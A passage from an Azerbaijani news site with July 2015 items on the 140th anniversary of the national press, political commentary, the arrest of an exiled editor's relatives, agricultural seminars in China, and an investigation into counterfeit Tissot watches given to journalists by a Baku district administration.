uğrunda mübarizə aparılıb. Çıxış edənlər son illər ölkəmizdə medianın inkişafı, söz və fikir azadlığının təmin olunması istiqamətində görülmüş işlərdən danışıblar. Qeyd edilib ki, mətbuatın normativ hüquqi bazasının möhkəmləndirilməsi ilə yanaşı, onun iqtisadi müstəqilliyinin təmin edilməsi də dövlətin diqqət mərkəzindədir. faktinfo.az

22 İyul 2015 12:51

Azərbaycan milli mətbuatının 140 illik yubileyi qeyd olunur

Həsən bəy Zərdabinin "Əkinçi" qəzetinin nəşrinə başlamasından 140 il ötür Bu gün Azərbaycanda milli mətbuatın yaranması günüdür. Faktinfo.az xatırladır ki, 140 il öncə, 1875-ci il iyulun 22-də dövrünün maarifçilik hərəkatının görkəmli nümayəndələrindən olan Həsən bəy Zərdabinin “Əkinçi” qəzetinin nəşrə başlaması ilə Azərbaycan milli mətbuatının əsası qoyulub. “Əkinçi” Azərbaycan dilində əsl milli demokratik və xalq mətbuatının ilk təməl daşını qoydu, cəmi 56 nömrəsi çıxan qəzet millətin aynası oldu, Azərbaycan jurnalistikasının bayraqdarına çevrildi. Sonrakı illərdə görkəmli ziyalılar tərəfindən nəşr edilən “Ziya”, “Kəşkül”, “Şərqi-rus”, “İrşad”, “Molla Nəsrəddin” kimi qəzet və jurnallar “Əkinçi”nin ənənələrini davam etdirdi. Bu mətbuat orqanlarının əsas hədəfi cəhalətə, haqsızlığa qarşı mübarizə, maarifləndirmə idi. Zəngin və şərəfli yolla addımlayan Azərbaycan mətbuatı bir neçə mərhələdən keçdi. Azərbaycan Xalq Cümhuriyyəti dövründə azad mətbuatın, eləcə də hadisələrə yeni baxışın təməli qoyuldu. Növbəti mərhələ isə Azərbaycan Xalq Cümhuriyyətinin bolşeviklər tərəfindən işğalından sonrakı dövrü əhatə edir. 140 yaşlı mətbuatın 70 ili bu kommunist dikaturası dövrü ilə bağlıdır. Həmin dövrdə Azərbaycan mətbuatı mövcud problemləri daha çox sətiraltı mənada yazırdı. Çünki mətbuat SSRİ-nin yürütdüyü siyasətin, ideologiyanın ruporu idi. Həmin dövrdə fərqli düşünmək, yazmaq yasaqlanmışdı. 1980-ci illərin II yarısından başlayaraq Azərbaycan mətbuatı yeni inkişaf mərhələsinə qədəm qoydu. Bu mərhələ həm də Azərbaycan dövlətçiliyi, demokratik dövlət quruculuğu dövrüdür. Bu yeni inkişaf dövrünün təməlini qoyan ulu öndər Heydər Əliyev hər zaman mətbuatın cəmiyyətə təsir gücünü yüksək qiymətləndirib, mətbuat və söz azadlığı, kütləvi informasiya vasitələrinin maddi-texniki bazasının möhkəmləndirilməsi istiqamətində ardıcıl tədbirlər həyata keçirib. Müstəqillik dövründə Azərbaycan mətbuatı ilə bağlı ilk fərmanı da Heydər Əliyev imzalayıb. Ümumilikdə, ulu öndər mətbuatın problemlərinin həlli ilə bağlı 10-dan çox sərəncam və fərman imzalayıb. 1999-cu ildə “Kütləvi İnformasiya Vasitələri haqqında” beynəlxalq tələblərə cavab verən qanun qəbul edilib. Heydər Əliyevin 1998-ci il 6 avqust tarixli sərəncamı ilə Azərbaycanda senzura ləğv olunub. Ölkədə söz və mətbuat azadlığına, KİV-lərə ən yüksək səviyyədə diqqət və qayğı var. Prezident İlham Əliyevin 31 iyul 2008-ci il tarixli sərəncamı ilə “Azərbaycan Respublikasında KİV-lərin inkişafına dövlət dəstəyi Konsepsiyasının” təsdiq edilməsi, bir il sonra, 3 aprel 2009-cu il tarixində Prezident yanında Kütləvi İnformasiya Vasitələrinin İnkişafına Dövlət Dəstəyi Fondunun yaradılması azad medianı inkişaf etdirmək, mətbuatın maddi-texniki bazasını möhkəmləndirmək, jurnalistlərin sosial-iqtisadi vəziyyətinin yaxşılaşdırılması məqsədilə atılan mühüm addımlar idi. Milli mətbuatın yubileylərinin ölkədə geniş qeyd olunması, KİV-lərə birdəfəlik yardımların göstərilməsi, mətbuat işçilərinin sosial müdafiəsinin gücləndirilməsi tədbirləri, həmçinin milli mətbuatın inkişafındakı xidmətlərinə görə jurnalistlərin fəxri adlarla təltif edilməsi haqqında sərəncamlar da mətbuata və mətbuat işçilərinə qayğının tərkib hissəsidir. Prezident İlham Əliyevin “Azərbaycan mətbuat işçilərinin sosial müdafiəsinin gücləndirilməsi haqqında” sərəncamı isə jurnalistlərə yeni əhval-ruhiyyə gətirib, böyük rəğbətlə qarşılanıb. Mətbuat işçilərinin mənzil-məişət şəraitinin yaxşılaşdırılması və onlar üçün yaşayış evlərinin tikilməsi məqsədilə 2010-cu ildə Prezidentin ehtiyat fondundan Kütləvi İnformasiya Vasitələrinin İnkişafına Dövlət Dəstəyi Fonduna 5 milyon manat vəsaitin ayrılması mətbuat tarixində mühüm hadisə kimi dəyərləndirilib. Qeyd edək ki, bu il iyulun 20-də Azərbaycan Prezidenti İlham Əliyevin KİV nümayəndələri ilə bağlı imzaladığı 4 sərəncam ümumilikdə 180 jurnalisti əhatə edib. Sərəncamla 1 nəfər 2-ci dərəcəli “Vətənə xidmətə görə” ordeni, 4 nəfər 3-cü dərəcəli “Vətənə xidmətə görə” ordeni ilə, 91 nəfər “Tərəqqi” medalı ilə təltif olunub.Bundan başqa, 44 nəfər “Əməkdar jurnalist”, 17 nəfər “Əməkdar mədəniyyət işçisi” fəxri adlarına layiq görülüb.2 nəfər Azərbaycan Respublikası Prezidentinin fərdi təqaüdü, 21 nəfər “Azərbaycan Respublikası Prezidentinin fəxri diplomu” ilə təltif edilib.

22 İyul 2015 11:28

Müdafiə naziri jurnalistləri təbrik etdi

  Zakir Həsənov: "Silahlı Qüvvələrimizin də şəxsi heyətinin böyük sevincinə səbəb olub". Müdafiə naziri, general-polkovnik Zakir Həsənov Milli Mətbuatın 140 ilik münasibətilə media işçilərini təbrik edib. Nazir jurnalistlərə daha böyük yaradıcılıq uğurları arzulayıb. "Sizi Azərbaycan milli mətbuatının yaranmasının 140 illik yubileyi münasibətilə səmimi-qəlbdən təbrik edir və fəaliyyətinizdə daha böyük yaradıcılıq uğurları arzulayıram. Xalqımızın görkəmli ziyalısı və vətənpərvər oğlu Həsən bəy Zərdabi tərəfindən Azərbaycan dilində nəşr olunan “Əkinçi” qəzeti ilə əsası qoyulan milli mətbuatımız 140 illik tarixi ərzində çətin və şərəfli yol keçib, 1993-cü ildə ulu öndər Heydər Əliyevin xalqın təkidli tələbi ilə ikinci dəfə siyasi hakimiyyətə qayıdışı nəticəsində yeni inkişaf mərhələsinə qədəm qoyub, dünyanın informasiya şəbəkəsindəki yeri artıb, rəqabət fəaliyyəti xeyli yüksəlib. Möhtərəm prezidentimiz cənab İlham Əliyevin Sərəncamına əsasən respublikamızda kütləvi informasiya vasitələrinin inkişafındakı xidmətlərinə görə bir qrup şəxsin orden və medallarla təltif edilməsi, fəxri adlara layiq görülməsi Silahlı Qüvvələrimizin də şəxsi heyətinin böyük sevincinə səbəb olub. Azərbaycan milli mətbuatının yaranmasının 140 illik yubileyinin keçirilməsi haqqında Azərbaycan Respublikası prezidentinin sərəncamında da qeyd edildiyi kimi, kütləvi informasiya vasitələri bundan sonra da daha peşəkar, obyektiv və prinsipial olacaq, yüksək milli şüur və vətənpərvərlik nümayiş etdirərək Azərbaycanın dövlətçilik maraqlarını hər şeydən uca tutacaq və mətbuatımız müasir cəmiyyət quruculuğunda, milli-mənəvi dəyərlərin təbliği, gənc nəslin vətənpərvərlik tərbiyəsi, eləcə də Silahlı Qüvvələrin şəxsi heyətinin döyüş və mənəvi-psixoloji hazırlığının daha da yüksəldilməsinə layiqli töhfələrini verəcəklər. Sizi bir daha milli mətbuatımızın yaranmasının 140 illik yubileyi münasibətilə təbrik edir, çətin, məsuliyyətli və şərəfli işinizdə uğurlar arzulayıram". faktinfo.az

22 İyul 2015 10:35

“İlham Əliyev və Rauf Arifoğlu barışdılar…” – İsa Qəmbər

Müsavat Partiyasının sabiq başqanı İsa Qəmbər Facebookda "günün əsas məsələsi" barədə yazıb. Jam.Az həmin yazını təqdim edir: "Gənc dostlarımızdan Turxan Qarishga mənə belə bir sualla müraciət edib. "İsa bəy, gözlər həm də sizdədir. Rauf Arifoglunun partiyadan istefası və sizin rəqibiniz olan İlham Əliyevdən mükafat alması haqda nə deyə bilərsiz? Günün ən çox müzakirə olunan məsələsidir” Turxan bəy, məncə proses kifayət qədər şəffaf gedib və Rauf Arifoğlu öz mövqeyini, qərarlarını dəfələrlə aydın şəkildə ifadə edib, xüsusən də partiyadan çıxmasını ətraflı izah edib. Sizin suallara da Rauf bəyin cavabları ortadadır. Suallarınıza İlham Əliyevdən də cavab ala bilsəydiniz mənzərə tamamlanardı. Rauf Arifoğlunun İlham Əliyevdən mükafat alması (İlham Əliyevin Rauf Arifoğluna mükafat verməsi) bu iki şəxsin barışığı kimi qiymətləndirilə bilər. Şəxslərin barışına bir söz deyilməz, amma İlham Əliyevlə barışmaq rejimlə barışmaq deməkdir. Və bu şəraitdə Rauf Arifoğlunun Müsavatdan çıxması məntiqli addımdır, çünki biz müsavatçılar hesab edirik ki, rejimlə barışmaq vətənimizin, xalqımızın sərvətlərinin oğurlanması ilə, insanlarımızın azadlıqlarının məhdudlaşdırılması ilə, ölkəmizdəki korrupsiya və rüşvətxorluqla, haqsızlıq və ədalətsizliklə, yüzlərlə siyasi məhbusun və girovun olması ilə barışmaq deməkdir. Müsavatçılar üçün bu mümkün deyil".

22 İyul 2015 10:27

Qənimət Zahidin qardaşı oğluna narkotik ittihamı verildi

«Oğlumu qardaşım Qənimət Zahidin jurnalist fəaliyyətinə görə tutublar» Hazırda Fransada mühacirətdə olan “Azadlıq” qəzetinin baş redaktoru, “Azərbaycan saatı” proqramının rəhbəri Qənimət Zahidin qardaşı oğlu Rüfət Zahidova qarşı Cinayət Məcəlləsinin 234.4.1 (qnunsuz olaraq narkotik vasitələri, psixotrop maddələri və ya onların prekursorlarını hazırlama, istehsal etmə, əldə etmə, saxlama, daşıma, göndərmə və ya satma, qabaqcadan əlbir olan bir qrup şəxs tərəfindən və ya mütəşəkkil dəstə tərəfindən törədildikdə) maddəsi ilə ittiham irəli sürülüb. Bu barədə “Turan”a hüquq-mühafizə orqanlarındakı mənbələrdən bəlli olub. Maddənin sanksiyasında 5 ildən 12 ilədək həbs nəzərdə tutulur. Rüfət Zahidov iyulun 20-də Bakıda saxlanılıb. Atası Fərasət Zahidov “Turan”a bildirib ki, oğlu əvvəlcə Daxili Işlər Nazirliyinin Baş Narkotiklərlə Mübarizə Idadəsinə aparılıb. “Guya onun cibindən və avtomobilindən 5 qram heroin götürüblər. Bu ittiham tam uydurmadır. Oğlumu qardaşım Qənimət Zahidin jurnalist fəaliyyətinə görə tutublar. Bunu digər qardaşımın oğlunun, əmimin oğlunun həbsi də sübut edir. Hazırda qardaşım Əfqanın oğlunu da axtarırlar”,- deyə o, qeyd edib. Qeyd edək ki, iyulun 21-də Şamaxıda Qənimət Zahidin əmisi oğlu Rövşən Zahidov saxlanılıb. Elə həmin gün məhkəmə onu 25 gün müddətinə həbs edib. Ondan əvvəl isə baş redaktorun digər qardaşı oğlu Tural Zahidov polisə müqavimət ittihamı ilə həbs edilib. Ona 30 sutka həbs cəzası verilib. Qənimət Zahid bildirib ki, bu həbslər ona “Azərbaycan saatı” proqramının yayımını dayandırması üçün təzyiq göstərmək məqsədi daşıyır. Qohumlarına qarşı repressiyalara baxmayaraq, Fransada mühacirətdə olan Qənimət Zahid fəaliyyətini dayandırmaq niyyətində deyil.

22 İyul 2015 8:27

ADAU əməkdaşları Çin Xalq Respublikasında keçirilən seminarlarda fəal iştirak edirlər

  Çin Xalq Respublikasının (ÇXR) Bakıdakı Səfirliyi nəzdindəki İqtisadi Ticarət Müşavirliyi ilə əməkdaşlıq əlaqələri çərçivəsində Azərbaycan Dövlət Aqrar Universitetinin (ADAU) əməkdaşları ÇXR-də kənd təsərrüfatının müxtəlif sahələrinə həsr olunan seminarlarda iştrak edirlər. 2015-ci ilin 9 iyun-6 iyul tarixlərində qeyd olunan ölkənin Şihezi Universitetində “Asiya və Avropa ölkələrində kənd təsərrüfatının bazis texnologiyaları və suya qənaətedən irriqasiya” mövzusunda keçirilən nəzəri-praktik seminarda ADAU-nun 5 nəfər əməkdaşı-İdrisov Hüseyn, Ələkbərov Fariz, Ələkbərova Məhsəti, Həsənova Məhbubə və Verdiyeva Vəfa iştirak ediblər. Seminar Pekin, Sangi, Urumçu və Şihezi şəhərlərində keçirilməklə, 28 gün davam etmişdir. Seminarda 5 ölkədən 12 nəfər (Azərbaycan -5 nəfər, Moldova -1 nəfər, Türkmənistan-2 nəfər, Qazaxıstan-3 nəfər və Monqolustan-1 nəfər ) iştirak etmişdir. Seminarda “Səhralaşma və ona qarşı mübarizə”, “Dəqiq kənd təsərrüfatı”, “Tarla bitkilərinin suya qənaətedən texnologiya əsasında becərilməsi”, “3 S texnologiyası”, “Avtomatlaşdırılmış suvarma və gübrələmə texnologiyasının tətbiqi” və s. mövzularda Şihezi universitetinin professorları tərəfindən mühazirələr oxunmuş və hər mövzu üzrə tarla səfərində praktik müzakirələr aparılmışdır. Həmçinin, Şihezi universitetinin laboratoriyalarına, böyük kitabxanasına, kənd təsərrüfatı maşınları istehsal edən müəssisələrə, tikiş kombinatına, istixanalara, emal müəssisələrinə, habelə müxtəlif şəhərlərin mədəni-tarixi yerlərinə və istirahət mərkəzlərinə səfərlər təşkil olunmuşdur.

21 İyul 2015 6:02

Azərbaycanda saxta İsveçrə saatlarının çoxmilyonluq biznesi

İyulun 15-də Bakının Səbayel Rayon İcra Hakimiyyəti 22 iyul Milli Mətbuat Günü münasibətilə bir qrup (75 nəfər) jurnalisti mükafatlandırıb. İcra hakimiyyətindən yayılan məlumatda deyilirdi ki, jurnalistlərə “qiymətli hədiyyələr” təqdim olunub. Əslində isə məlum olub ki, həmin “qiymətli hədiyyə” Çində istehsal olunan və bu ölkədə 6 dollara, Azərbaycanda isə 20-30 manata satılan saxta “Tissot” saatlarıdır. Jurnalistlərə paylanan “Tissot” saatlarının əslində saxta olduğu isə bu cür üzə çıxıb. Belə ki, hədiyyələrdən biri də virtualaz.org saytının reaksiyasına təqdim edilmişdi. Redaksiya isə saatlın orijinal olduğunu zənn edərək onu Səbayel Rayon İcra Hakimiyyətinin (RİH) adından məhsuldar əməkdaşlardan birinə təqdim edib. Əməkdaşımız saatın yaxşı işləmədiyini görərək onu əvvəl Bakıdakı “Tissot” mağazalarından birinə aparıb və satıcıya göstərib. Satıcı saatı “Tissot”un servis mərkəzinə göstərməyi tövsiyə edib. Servis mərkəzində isə saata baxan kimi onun saxta olduğunu bildiriblər. Araşdırma nəticəsində məlum olub ki, əslində Səbayel RİH öz büdcəsindən jurnalistlərə orijinal “Tissot” saatları almaq üçün (bu saatların qiyməti təxminən 300 manatdan başlayır, jurnalistlərə hədiyyə edilən modelin orijinalının qiyməti isə 900 manata yaxındır) vəsait ayırıb. Lakin həmin vəsaitin cüzi hissəsini xərcləyərək saxta “Tissot”lar alaraq “qiymətli hədiyyə” adı altında jurnalistlərə paylayıb. Beləliklə, Səbayel RİH-in büdcəsindən on minlərlə manat vəsaitin mənimsənildiyini təxmin etmək olar. Bəs saxta “Tissot” və digər İsveçrə saat brendlərinin saxta versiyaları Azərbaycana necə yol tapır? Necə ola bilər ki, dövlət strukturu açıq-aşkar qanunsuzluğa yol verərək saxta mala pul xərcləyir? Bu maraqlı faktdan çıxış edərək Azərbaycanda saxta saat bazarı barədə araşdırma aparmağı qərara aldıq. İnternet mənbələrində apardığımız araşdırma göstərdi ki, “Tissot”ların və digər İsveçrə saatlarının üç saxta versiyası olur. Onlardan biri kobud saxtalaşdırılmış versiyadır və dərhal seçilir. İkincisi nisbətən təkmil şəkildə saxtalaşdırılımış versiyadır və diqqətlə baxanda seçmək mümkün olur. Üçüncüsü isə orijinalın tam oxşarı olan versiyadır. Həmin saxta saat istehsalçıları və satıcıları bunu “reproduksiya”, yaxud “replika” adlandırırlar. Azərbaycanda “replika” bazarının kifayət qədər geniş hesab edilə bilər. Çünki təxminən 5-6 dollara alınan saxta saatları işbazlar orijinal adı altında bəzən yüzlərlə manata sırıya bilir. İnternet-mağazalarda da belə saatların geniş satışı təşkil edilib. Qeyd edək ki, “Tissot” şirkəti öz saatlarının internet mağalazarda satışına rəsmi qadağa qoyub. Deməli, “Tissot” adı altında internetdə satılan saatların saxta olduğunu bəri başdan ayrıd etmək olar. “Tissot” saatlarının saxta versiyasını Azərbaycana gətirib satanlardan biri “SCSHOPPİNG” adlı online mağazadır. Əməkdaşımız özünü müştəri kimi təqdim edərək bu mağazanın internetdə “Tissot” saatlarının satışına dair yerləşdirdiyi elanda qoyulmuş əlaqə nömrəsinə zəng edib. Zəngə cavab verən şəxs bildirib ki, onlar həmin saatları Dubaydan gətirirlər. Qiymət isə modeldən asılı olaraq dəyişir. “İstədiyiniz modelin fotosunu bizə göndərin, qiymətini deyək. Çox alsanız, endirim də mümkündür”- deyə online mağazanın əməkdaşı bildirdi. Həmin əməkdaş təsdiq etdi ki, onların satdıqları saatlar orijinal deyil: “Bu saatların orijinalı çox bahadır. Biz Dubaydan gətiririk, orijinalına çox oxşayır”. “SCSHOPPİNG” online mağazasının hüquqi ünvanı və internet ünvanı yoxdur. Məlum olur ki, bu online mağaza digər brend mallarının da saxta versiyalarını alıcılara təklif edir. Daha sonra Səbayel Rayon İcra Hakimiyyəti ilə əlaqə saxladıq və jurnalistlərə hədiyyə edilən saxta saatların haradan, hansı qiymətə alındığını dəqiqləşdirməyə çalışdıq. RİH informasiya təminatı və təhlil sektorundan bildirdilər ki, onlar 75 ədəd “Tissot” saatı sifariş ediblər, bu sifariş əsasında saatlar alınıb gətirilib. “Mənim bildiyimə görə, saatları internetdən sifariş etməyiblər, mağazadan alıblar. Mən həmin saatları ancaq hədiyyə paylanan gün görmüşəm”- deyə sektorun məsul əməkdaşı bildirdi. İcra hakimiyyətinin məsul şəxsi saatların hansı mağazadan və neçəyə alındığını dəqiqləşdirib məlumat verəcəyini bildirsə də daha sonra telefon zənglərimizə cavab vermədi. VMF şirkətinin əməkdaşı, Azərbaycanda “Tissot” saatlarının brend-meneceri Vasif Nəsibov isə virtualaz.org saytına açıqlamasında bildirdi ki, dövlət orqanı tərəfindən “Tissot” adı altında saxta saatların hədiyyə edilməsini eşidəndə çox təəssüfləniblər və bundan heyrətə gəliblər. “Mən həmin saata baxdım, çox kobud şəkildə saxtalaşdırılmış versiya idi. Saatın kəmərinə baxanda dərhal bunu ayrıd etmək olur. Çünki həmin saatın kəməri Bakının metro stansiyalarının qarşısındakı köşklərdə təxminən 50 qəpiyə, 1 manata satılan keyfiyyətsiz kəmər idi. Saatda brendin konsepsiyası tamamilə təhrif edilmişdi. Biz bundan çox təəssüflənirik ki, dövlət orqanı tərəfindən belə hala yol verilib. Bildiyiniz kimi, “Tissot” Bakı Avropa Oyunlarının rəsmi sponsoru olub. Biz bu oyunlarla bağlı öz öhdəliklərimizi məsuliyyətlə yerinə yetirmişik. Lakin təəssüf ki, Azərbaycanda saxta saat biznesi bu cür geniş yayılıb. Bu, bizim biznesimizə ciddi zərbə vurur, eyni zamanda Azərbaycanın imicinə zərbədir. İndi təsəvvür edin, Avropa Oyunlarına görə Bakıya gələn qonaqlar oyunların rəsmi xronometri olan saatın saxta versiyasının bu qədər geniş yayılmasını görəndə nə fikirləşərdi? Bəlkə belə saxta saatlar onların da qarşısına çıxıb, yaxud çıxa bilərdi?”- deyə menecer bildirdi. Vasif Nəsibov deyir ki, hüquq-mühafizə və gömrük orqanları saxta saat biznesinə qarşı sərt mübarizə aparmalı, cinayətkarlar öz bizneslərini bu cür sərbəst davam etdirməməlidir. “Tissot”un brend-menecerinin bildirdiyinə görə, VMF şirkəti Azərbaycanın bir çox nazirlikləri, dövlət strukturları ilə əməkdaşlıq edir, onlardan daxil olan sifarişləri yerinə yetirir və bu zaman xeyli güzəştlər edilir. O cümlədən “Tissot” saatlarının Bakı Avropa Oyunları üçün buraxılmış xüsusi versiyasının satışı ilə bağlı dövlət orqanlarından sifarişlər alınıb. “Lakin Səbayel Rayon İcra Hakimiyyəti bizə “Tissot” saatları ilə bağlı heç bir sifariş verməyib. Biz ilk dəfədir ki, dövlət orqanı tərəfindən saxta saat alınıb hədiyyə edilməsi faktı ilə qarşılaşırıq. Açığı, bundan həm çox məyus olmuşuq, həm də çox təəccüblənmişik”- deyə Vasif Nəsibov bildirdi. Menecer deyir ki, “Tissot” şirkətinin özü də dünyada saxta saat satışına qarşı müxtəlif yollarla mübarizə aparır. Müştərilərinə bu saatları ancaq rəsmi distributorlardan almağı tövsiyə edir. Lakin təəssüf ki, dünyada saxta saat biznesi geniş yayılıb. Bəs VMF şirkəti onun biznesinə zərbə vuran bu problemlə bağlı hüquq-mühafizə orqanlarına müraciət edibmi? V.Nəsibov deyir ki, indiyə qədər belə müraciət etməyiblər: “Düzü, rəsmi olaraq belə müraciət etməmişik. Azərbaycan demokratik ölkədir, biz ümid edirik ki, hüquq-mühafizə, gömrük və digər orqanlar belə hallara qarşı mübarizə aparacaqlar”. Milli Mətbuat Günü münasibətilə niyə məhz Səbayel Rayon İcra Hakimiyyətinin jurnalistləri mükafatlandırmağı qərara aldığı, RİH-in büdcəsində bu kimi tədbirlər üçün vəsaitin nəzərdə tutulub-tutulmadığını da dəqiqləşdirmək mümkün olmayıb. Sual yaranır: bu rəsmi dövlət hakimiyyət orqanı Azərbaycana qanunsuz gətirilən saxta mala pul ödəməklə başqalarına hansı nümunəni göstərir? Məgər jurnalistlərə mükafat vermək (özü də “Tissot” adı altında) Səbayel RİH üçün bu qədərmi məcburi idi? Azad İstehlakçılar Birliyinin sədri Eyyub Hüseynov saytımıza açıqlamasında deyir ki, onların ofisinə də məşhur brendlərin saxta versiyaları ilə aldadılan vətəndaşlardan şikayətlər daxil olur. Və Azərbaycanda saxta məhsulların satışı kifayət qədər geniş yayılıb və təəssüf ki, müvafiq dövlət strukturları istehlak bazarına kifayət qədər nəzarət edə, saxta malların satışının qarşısını ala bilmir. E.Hüseynov xatırladıb ki, Azərbaycan qanunvericiliyinə görə, hansısa brendin saxtalaşdırılması qadağandır, istehlakçıya saxta malın satışı isə İnzibati Xətalar Məcəlləsinə əsasən cəzalandırılır. Belə əməllə məşğul olanlar 500 manatdan 2000 manata qədər cərimə ödəməlidir. F.Məmmədov Virtualaz.org

21 İyul 2015 5:56

Fakt

Bizi izləyin